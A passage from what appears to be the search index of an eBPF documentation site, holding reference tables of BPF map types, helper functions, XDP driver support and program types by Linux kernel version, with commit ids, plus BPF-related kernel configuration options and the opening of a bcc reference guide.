BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map types","id":"175","title":"Map types"},"176":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 Pass NULL to GET_NEXT_KEY 4.12 8fe45924387b Creation: select NUMA node 4.14 96eabe7a40aa Restrict access from syscall side 4.15 6e71b04a8224 Creation: specify map name 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 Creation: BPF_F_ZERO_SEED 5.0 96b3b6c9091d BPF_F_LOCK flag for lookup / update 5.1 96049f3afd50 Restrict access from BPF side 5.2 591fe9888d78 FREEZE 5.2 87df15de441b mmap() support for array maps 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM support for hash maps 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"176","title":"Map userspace API"},"177":{"body":"An approximate list of drivers or components supporting XDP programs for your kernel can be retrieved with: git grep -l XDP_SETUP_PROG drivers/ Feature / Driver Kernel version Commit XDP core architecture 4.8 6a773a15a1e8 Action: drop 4.8 6a773a15a1e8 Action: pass on to stack 4.8 6a773a15a1e8 Action: direct forwarding (on same port) 4.8 6ce96ca348a9 Direct packet data write 4.8 4acf6c0b84c9 Mellanox mlx4 driver 4.8 47a38e155037 Mellanox mlx5 driver 4.9 86994156c736 Netronome nfp driver 4.10 ecd63a0217d5 QLogic (Cavium) qed* drivers 4.10 496e05170958 virtio_net driver 4.10 f600b6905015 Broadcom bnxt_en driver 4.11 c6d30e8391b8 Intel ixgbe* drivers 4.12 924708081629 Cavium thunderx driver 4.12 05c773f52b96 Generic XDP 4.12 b5cdae3291f7 Intel i40e driver 4.13 0c8493d90b6b Action: redirect 4.14 6453073987ba Support for tap 4.14 761876c857cb Support for veth 4.14 d445516966dc Intel ixgbevf driver 4.17 c7aec59657b6 Freescale dpaa2 driver 5.0 7e273a8ebdd3 Socionext netsec driver 5.3 ba2b232108d3 TI cpsw driver 5.3 9ed4050c0d75 Intel ice driver 5.5 efc2214b6047 Solarflare sfc driver 5.5 eb9a36be7f3e Marvell mvneta driver 5.5 0db51da7a8e9 Microsoft hv_netvsc driver 5.6 351e1581395f Amazon ena driver 5.6 838c93dc5449 xen-netfront driver 5.9 6c5aa6fc4def Intel igb driver 5.10 9cbc948b5a20","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"177","title":"XDP"},"178":{"body":"The list of helpers supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep '\tFN(' include/uapi/linux/bpf.h Alphabetical order Helper Kernel version License Commit BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_get_current_comm() 4.2 ffeedafbf023 BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca BPF_FUNC_inode_storage_get() 5.10 8ea636848aca BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_adjust_srh() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_store_bytes() 4.18 fe94cc290f53 BPF_FUNC_map_delete_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_percpu_elem() 5.19 07343110b293 BPF_FUNC_map_peek_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_pop_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_push_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_update_elem() 3.19 d0003ec01c66 BPF_FUNC_msg_apply_bytes() 4.17 2a100317c9eb BPF_FUNC_msg_cork_bytes() 4.17 91843d540a13 BPF_FUNC_msg_pop_data() 5.0 7246d8ed4dcc BPF_FUNC_msg_pull_data() 4.17 015632bb30da BPF_FUNC_msg_push_data() 4.20 6fff607e2f14 BPF_FUNC_msg_redirect_hash() 4.18 81110384441a BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 BPF_FUNC_rc_keydown() 4.18 GPL f4364dcfc86d BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 BPF_FUNC_rc_repeat() 4.18 GPL f4364dcfc86d BPF_FUNC_read_branch_records() 5.6 GPL fff7b64355ea BPF_FUNC_redirect() 4.4 27b29f63058d BPF_FUNC_redirect_map() 4.14 97f91a7cf04f BPF_FUNC_redirect_neigh() 5.10 b4ab31414970 BPF_FUNC_redirect_peer() 5.10 9aa1206e8f48 BPF_FUNC_reserve_hdr_opt() 5.10 0813a841566f BPF_FUNC_ringbuf_discard() 5.8 457f44363a88 BPF_FUNC_ringbuf_discard_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_output() 5.8 457f44363a88 BPF_FUNC_ringbuf_query() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve() 5.8 457f44363a88 BPF_FUNC_ringbuf_reserve_dynptr() 5.19 bc34dee65a65 BPF_FUNC_ringbuf_submit() 5.8 457f44363a88 BPF_FUNC_ringbuf_submit_dynptr() 5.19 bc34dee65a65 BPF_FUNC_send_signal() 5.3 8b401f9ed244 BPF_FUNC_send_signal_thread() 5.5 8482941f0906 BPF_FUNC_seq_printf() 5.7 GPL 492e639f0c22 BPF_FUNC_seq_printf_btf() 5.10 eb411377aed9 BPF_FUNC_seq_write() 5.7 GPL 492e639f0c22 BPF_FUNC_set_hash() 4.13 ded092cd73c2 BPF_FUNC_set_hash_invalid() 4.9 7a4b28c6cc9f BPF_FUNC_set_retval() 5.18 b44123b4a3dc BPF_FUNC_setsockopt() 4.13 8c4b4c7e9ff0 BPF_FUNC_sk_ancestor_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_assign() 5.6 cf7fbe660f2d BPF_FUNC_sk_cgroup_id() 5.7 f307fa2cb4c9 BPF_FUNC_sk_fullsock() 5.1 46f8bc92758c BPF_FUNC_sk_lookup_tcp() 4.20 6acc9b432e67 BPF_FUNC_sk_lookup_udp() 4.20 6acc9b432e67 BPF_FUNC_sk_redirect_hash() 4.18 81110384441a BPF_FUNC_sk_redirect_map() 4.14 174a79ff9515 BPF_FUNC_sk_release() 4.20 6acc9b432e67 BPF_FUNC_sk_select_reuseport() 4.19 2dbb9b9e6df6 BPF_FUNC_sk_storage_delete() 5.2 6ac99e8f23d4 BPF_FUNC_sk_storage_get() 5.2 6ac99e8f23d4 BPF_FUNC_skb_adjust_room() 4.13 2be7e212d541 BPF_FUNC_skb_ancestor_cgroup_id() 4.19 7723628101aa BPF_FUNC_skb_change_head() 4.10 3a0af8fd61f9 BPF_FUNC_skb_change_proto() 4.8 6578171a7ff0 BPF_FUNC_skb_change_tail() 4.9 5293efe62df8 BPF_FUNC_skb_change_type() 4.8 d2485c4242a8 BPF_FUNC_skb_cgroup_classid() 5.10 b426ce83baa7 BPF_FUNC_skb_cgroup_id() 4.18 cb20b08ead40 BPF_FUNC_skb_ecn_set_ce() 5.1 f7c917ba11a6 BPF_FUNC_skb_get_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_get_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_get_xfrm_state() 4.18 12bed760a78d BPF_FUNC_skb_load_bytes() 4.5 05c74e5e53f6 BPF_FUNC_skb_load_bytes_relative() 4.18 4e1ec56cdc59 BPF_FUNC_skb_output() 5.5 a7658e1a4164 BPF_FUNC_skb_pull_data() 4.9 36bbef52c7eb BPF_FUNC_skb_set_tstamp() 5.18 9bb984f28d5b BPF_FUNC_skb_set_tunnel_key() 4.3 d3aa45ce6b94 BPF_FUNC_skb_set_tunnel_opt() 4.6 14ca0751c96f BPF_FUNC_skb_store_bytes() 4.1 91bc4822c3d6 BPF_FUNC_skb_under_cgroup() 4.8 4a482f34afcc BPF_FUNC_skb_vlan_pop() 4.3 4e10df9a60d9 BPF_FUNC_skb_vlan_push() 4.3 4e10df9a60d9 BPF_FUNC_skc_lookup_tcp() 5.2 edbf8c01de5a BPF_FUNC_skc_to_mctcp_sock() 5.19 3bc253c2e652 BPF_FUNC_skc_to_tcp_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_request_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp_timewait_sock() 5.9 478cfbdf5f13 BPF_FUNC_skc_to_tcp6_sock() 5.9 af7ec1383361 BPF_FUNC_skc_to_udp6_sock() 5.9 0d4fad3e57df BPF_FUNC_skc_to_unix_sock() 5.16 9eeb3aa33ae0 BPF_FUNC_snprintf() 5.13 7b15523a989b BPF_FUNC_snprintf_btf() 5.10 c4d0bfb45068 BPF_FUNC_sock_from_file() 5.11 4f19cab76136 BPF_FUNC_sock_hash_update() 4.18 81110384441a BPF_FUNC_sock_map_update() 4.14 174a79ff9515 BPF_FUNC_spin_lock() 5.1 d83525ca62cf BPF_FUNC_spin_unlock() 5.1 d83525ca62cf BPF_FUNC_store_hdr_opt() 5.10 0813a841566f BPF_FUNC_strncmp() 5.17 c5fb19937455 BPF_FUNC_strtol() 5.2 d7a4cb9b6705 BPF_FUNC_strtoul() 5.2 d7a4cb9b6705 BPF_FUNC_sys_bpf() 5.14 79a7f8bdb159 BPF_FUNC_sys_close() 5.14 3abea089246f BPF_FUNC_sysctl_get_current_value() 5.2 1d11b3016cec BPF_FUNC_sysctl_get_name() 5.2 808649fb787d BPF_FUNC_sysctl_get_new_value() 5.2 4e63acdff864 BPF_FUNC_sysctl_set_new_value() 5.2 4e63acdff864 BPF_FUNC_tail_call() 4.2 04fd61ab36ec BPF_FUNC_task_pt_regs() 5.15 GPL dd6e10fbd9f BPF_FUNC_task_storage_delete() 5.11 4cf1bc1f1045 BPF_FUNC_task_storage_get() 5.11 4cf1bc1f1045 BPF_FUNC_tcp_check_syncookie() 5.2 399040847084 BPF_FUNC_tcp_gen_syncookie() 5.3 70d66244317e BPF_FUNC_tcp_raw_check_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_check_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv4() 6.0 33bf9885040c BPF_FUNC_tcp_raw_gen_syncookie_ipv6() 6.0 33bf9885040c BPF_FUNC_tcp_send_ack() 5.5 206057fe020a BPF_FUNC_tcp_sock() 5.1 655a51e536c0 BPF_FUNC_this_cpu_ptr() 5.10 63d9b80dcf2c BPF_FUNC_timer_init() 5.15 b00628b1c7d5 BPF_FUNC_timer_set_callback() 5.15 b00628b1c7d5 BPF_FUNC_timer_start() 5.15 b00628b1c7d5 BPF_FUNC_timer_cancel() 5.15 b00628b1c7d5 BPF_FUNC_trace_printk() 4.1 GPL 9c959c863f82 BPF_FUNC_trace_vprintk() 5.16 GPL 10aceb629e19 BPF_FUNC_user_ringbuf_drain() 6.1 205715673844 BPF_FUNC_xdp_adjust_head() 4.10 17bedab27231 BPF_FUNC_xdp_adjust_meta() 4.15 de8f3a83b0a0 BPF_FUNC_xdp_adjust_tail() 4.18 b32cc5b9a346 BPF_FUNC_xdp_get_buff_len() 5.18 0165cc817075 BPF_FUNC_xdp_load_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_store_bytes() 5.18 3f364222d032 BPF_FUNC_xdp_output() 5.6 GPL d831ee84bfc9 BPF_FUNC_override_return() 4.16 GPL 9802d86585db BPF_FUNC_sock_ops_cb_flags_set() 4.16 b13d88072172 Note: GPL-only BPF helpers require a GPL-compatible license. The current licenses considered GPL-compatible by the kernel are: GPL GPL v2 GPL and additional rights Dual BSD/GPL Dual MIT/GPL Dual MPL/GPL Check the list of GPL-compatible licenses in your kernel source code .","breadcrumbs":"BPF Features by Linux Kernel Version » Helpers","id":"178","title":"Helpers"},"179":{"body":"The list of program types and supported helper functions can be retrieved with: git grep -W 'func_proto(enum bpf_func_id func_id' kernel/ net/ drivers/ Program Type Helper Functions BPF_PROG_TYPE_SOCKET_FILTER BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_perf_event_output() Base functions BPF_PROG_TYPE_KPROBE BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_event_read_value() BPF_FUNC_override_return() Tracing functions BPF_PROG_TYPE_SCHED_CLS BPF_PROG_TYPE_SCHED_ACT BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_clone_redirect() BPF_FUNC_get_cgroup_classid() BPF_FUNC_skb_vlan_push() BPF_FUNC_skb_vlan_pop() BPF_FUNC_skb_change_proto() BPF_FUNC_skb_change_type() BPF_FUNC_skb_adjust_room() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_set_hash_invalid() BPF_FUNC_set_hash() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_fib_lookup() BPF_FUNC_skb_get_xfrm_state() BPF_FUNC_skb_cgroup_id() Base functions BPF_PROG_TYPE_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_d_path() Tracing functions BPF_PROG_TYPE_XDP BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_csum_diff() BPF_FUNC_xdp_adjust_head() BPF_FUNC_xdp_adjust_meta() BPF_FUNC_redirect() BPF_FUNC_redirect_map() BPF_FUNC_xdp_adjust_tail() BPF_FUNC_fib_lookup() Base functions BPF_PROG_TYPE_PERF_EVENT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_perf_prog_read_value() Tracing functions BPF_PROG_TYPE_CGROUP_SKB BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_load_bytes_relative() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() Base functions BPF_PROG_TYPE_CGROUP_SOCK BPF_FUNC_get_current_uid_gid() Base functions BPF_PROG_TYPE_LWT_IN BPF_FUNC_lwt_push_encap() LWT functions Base functions BPF_PROG_TYPE_LWT_OUT LWT functions Base functions BPF_PROG_TYPE_LWT_XMIT BPF_FUNC_skb_get_tunnel_key() BPF_FUNC_skb_set_tunnel_key() BPF_FUNC_skb_get_tunnel_opt() BPF_FUNC_skb_set_tunnel_opt() BPF_FUNC_redirect() BPF_FUNC_clone_redirect() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_skb_store_bytes() BPF_FUNC_csum_update() BPF_FUNC_l3_csum_replace() BPF_FUNC_l4_csum_replace() BPF_FUNC_set_hash_invalid() LWT functions BPF_PROG_TYPE_SOCK_OPS BPF_FUNC_setsockopt() BPF_FUNC_getsockopt() BPF_FUNC_sock_ops_cb_flags_set() BPF_FUNC_sock_map_update() BPF_FUNC_sock_hash_update() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_SK_SKB BPF_FUNC_skb_store_bytes() BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_skb_change_tail() BPF_FUNC_skb_change_head() BPF_FUNC_get_socket_cookie() BPF_FUNC_get_socket_uid() BPF_FUNC_sk_redirect_map() BPF_FUNC_sk_redirect_hash() BPF_FUNC_sk_lookup_tcp() BPF_FUNC_sk_lookup_udp() BPF_FUNC_sk_release() Base functions BPF_PROG_TYPE_CGROUP_DEVICE BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_get_current_uid_gid() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_MSG BPF_FUNC_msg_redirect_map() BPF_FUNC_msg_redirect_hash() BPF_FUNC_msg_apply_bytes() BPF_FUNC_msg_cork_bytes() BPF_FUNC_msg_pull_data() BPF_FUNC_msg_push_data() BPF_FUNC_msg_pop_data() Base functions BPF_PROG_TYPE_RAW_TRACEPOINT BPF_FUNC_perf_event_output() BPF_FUNC_get_stackid() BPF_FUNC_get_stack() BPF_FUNC_skb_output() Tracing functions BPF_PROG_TYPE_CGROUP_SOCK_ADDR BPF_FUNC_get_current_uid_gid() BPF_FUNC_bind() BPF_FUNC_get_socket_cookie() Base functions BPF_PROG_TYPE_LWT_SEG6LOCAL BPF_FUNC_lwt_seg6_store_bytes() BPF_FUNC_lwt_seg6_action() BPF_FUNC_lwt_seg6_adjust_srh() LWT functions BPF_PROG_TYPE_LIRC_MODE2 BPF_FUNC_rc_repeat() BPF_FUNC_rc_keydown() BPF_FUNC_rc_pointer_rel() BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_prandom_u32() BPF_FUNC_trace_printk() BPF_PROG_TYPE_SK_REUSEPORT BPF_FUNC_sk_select_reuseport() BPF_FUNC_skb_load_bytes() BPF_FUNC_load_bytes_relative() Base functions BPF_PROG_TYPE_FLOW_DISSECTOR BPF_FUNC_skb_load_bytes() Base functions Function Group Functions Base functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_map_peek_elem() BPF_FUNC_map_pop_elem() BPF_FUNC_map_push_elem() BPF_FUNC_get_prandom_u32() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_tail_call() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_trace_printk() BPF_FUNC_spin_lock() BPF_FUNC_spin_unlock() Tracing functions BPF_FUNC_map_lookup_elem() BPF_FUNC_map_update_elem() BPF_FUNC_map_delete_elem() BPF_FUNC_probe_read() BPF_FUNC_ktime_get_boot_ns() BPF_FUNC_ktime_get_ns() BPF_FUNC_tail_call() BPF_FUNC_get_current_pid_tgid() BPF_FUNC_get_current_task() BPF_FUNC_get_current_uid_gid() BPF_FUNC_get_current_comm() BPF_FUNC_trace_printk() BPF_FUNC_get_smp_processor_id() BPF_FUNC_get_numa_node_id() BPF_FUNC_perf_event_read() BPF_FUNC_probe_write_user() BPF_FUNC_current_task_under_cgroup() BPF_FUNC_get_prandom_u32() BPF_FUNC_probe_read_str() BPF_FUNC_get_current_cgroup_id() BPF_FUNC_send_signal() BPF_FUNC_probe_read_kernel() BPF_FUNC_probe_read_kernel_str() BPF_FUNC_probe_read_user() BPF_FUNC_probe_read_user_str() BPF_FUNC_send_signal_thread() BPF_FUNC_get_ns_current_pid_tgid() BPF_FUNC_xdp_output() BPF_FUNC_get_task_stack() LWT functions BPF_FUNC_skb_load_bytes() BPF_FUNC_skb_pull_data() BPF_FUNC_csum_diff() BPF_FUNC_get_cgroup_classid() BPF_FUNC_get_route_realm() BPF_FUNC_get_hash_recalc() BPF_FUNC_perf_event_output() BPF_FUNC_get_smp_processor_id() BPF_FUNC_skb_under_cgroup()","breadcrumbs":"BPF Features by Linux Kernel Version » Program Types","id":"179","title":"Program Types"},"18":{"body":"如上所述， eBPF 程序的基本框架包括： 包含头文件：需要包含 <linux/bpf.h> 和 <bpf/bpf_helpers.h> 等头文件。 定义许可证：需要定义许可证，通常使用 \"Dual BSD/GPL\"。 定义 BPF 函数：需要定义一个 BPF 函数，例如其名称为 handle_tp，其参数为 void *ctx，返回值为 int。通常用 C 语言编写。 使用 BPF 助手函数：在例如 BPF 函数中，可以使用 BPF 助手函数 bpf_get_current_pid_tgid() 和 bpf_printk()。 返回值","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » eBPF 程序的基本框架","id":"18","title":"eBPF 程序的基本框架"},"180":{"body":"","breadcrumbs":"Kernel Configuration for BPF Features » Kernel Configuration for BPF Features","id":"180","title":"Kernel Configuration for BPF Features"},"181":{"body":"Functionalities Kernel Configuration Description Basic CONFIG_BPF_SYSCALL Enable the bpf() system call CONFIG_BPF_JIT BPF programs are normally handled by a BPF interpreter. This option allows the kernel to generate native code when a program is loaded into the kernel. This will significantly speed-up processing of BPF programs CONFIG_HAVE_BPF_JIT Enable BPF Just In Time compiler CONFIG_HAVE_EBPF_JIT Extended BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT Classic BPF JIT (cBPF) CONFIG_MODULES Enable to build loadable kernel modules CONFIG_BPF BPF VM interpreter CONFIG_BPF_EVENTS Allow the user to attach BPF programs to kprobe, uprobe, and tracepoint events CONFIG_PERF_EVENTS Kernel performance events and counters CONFIG_HAVE_PERF_EVENTS Enable perf events CONFIG_PROFILING Enable the extended profiling support mechanisms used by profilers BTF CONFIG_DEBUG_INFO_BTF Generate deduplicated BTF type information from DWARF debug info CONFIG_PAHOLE_HAS_SPLIT_BTF Generate BTF for each selected kernel module CONFIG_DEBUG_INFO_BTF_MODULES Generate compact split BTF type information for kernel modules Security CONFIG_BPF_JIT_ALWAYS_ON Enable BPF JIT and removes BPF interpreter to avoid speculative execution CONFIG_BPF_UNPRIV_DEFAULT_OFF Disable unprivileged BPF by default by setting Cgroup CONFIG_CGROUP_BPF Support for BPF programs attached to cgroups Network CONFIG_BPFILTER BPF based packet filtering framework (BPFILTER) CONFIG_BPFILTER_UMH This builds bpfilter kernel module with embedded user mode helper CONFIG_NET_CLS_BPF BPF-based classifier - to classify packets based on programmable BPF (JIT'ed) filters as an alternative to ematches CONFIG_NET_ACT_BPF Execute BPF code on packets. The BPF code will decide if the packet should be dropped or not CONFIG_BPF_STREAM_PARSER Enable this to allow a TCP stream parser to be used with BPF_MAP_TYPE_SOCKMAP CONFIG_LWTUNNEL_BPF Allow to run BPF programs as a nexthop action following a route lookup for incoming and outgoing packets CONFIG_NETFILTER_XT_MATCH_BPF BPF matching applies a linux socket filter to each packet and accepts those for which the filter returns non-zero CONFIG_IPV6_SEG6_BPF To support BPF seg6local hook. bpf: Add IPv6 Segment Routing helpersy. Reference kprobes CONFIG_KPROBE_EVENTS This allows the user to add tracing events (similar to tracepoints) on the fly via the ftrace interface CONFIG_KPROBES Enable kprobes-based dynamic events CONFIG_HAVE_KPROBES Check if krpobes enabled CONFIG_HAVE_REGS_AND_STACK_ACCESS_API This symbol should be selected by an architecture if it supports the API needed to access registers and stack entries from pt_regs. For example the kprobes-based event tracer needs this API. CONFIG_KPROBES_ON_FTRACE Have kprobes on function tracer if arch supports full passing of pt_regs to function tracing kprobe multi CONFIG_FPROBE Enable fprobe to attach the probe on multiple functions at once kprobe override CONFIG_BPF_KPROBE_OVERRIDE Enable BPF programs to override a kprobed function uprobes CONFIG_UPROBE_EVENTS Enable uprobes-based dynamic events CONFIG_ARCH_SUPPORTS_UPROBES Arch specific uprobes support CONFIG_UPROBES Uprobes is the user-space counterpart to kprobes: they enable instrumentation applications (such as 'perf probe') to establish unintrusive probes in user-space binaries and libraries, by executing handler functions when the probes are hit by user-space applications. CONFIG_MMU MMU-based virtualised addressing space support by paged memory management Tracepoints CONFIG_TRACEPOINTS Enable inserting tracepoints in the kernel and connect to proble functions CONFIG_HAVE_SYSCALL_TRACEPOINTS Enable syscall enter/exit tracing Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM Enable instrumentation of the security hooks with BPF programs for implementing dynamic MAC and Audit Policies LIRC CONFIG_BPF_LIRC_MODE2 Allow attaching BPF programs to a lirc device","breadcrumbs":"Kernel Configuration for BPF Features » BPF Related Kernel Configurations","id":"181","title":"BPF Related Kernel Configurations"},"182":{"body":"Intended for search (Ctrl-F) and reference. For tutorials, start with tutorial.md . This guide is incomplete. If something feels missing, check the bcc and kernel source. And if you confirm we're missing something, please send a pull request to fix it, and help out everyone.","breadcrumbs":"bcc Reference Guide » bcc Reference Guide","id":"182","title":"bcc Reference Guide"},"183":{"body":"BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 5. uretprobes 6. 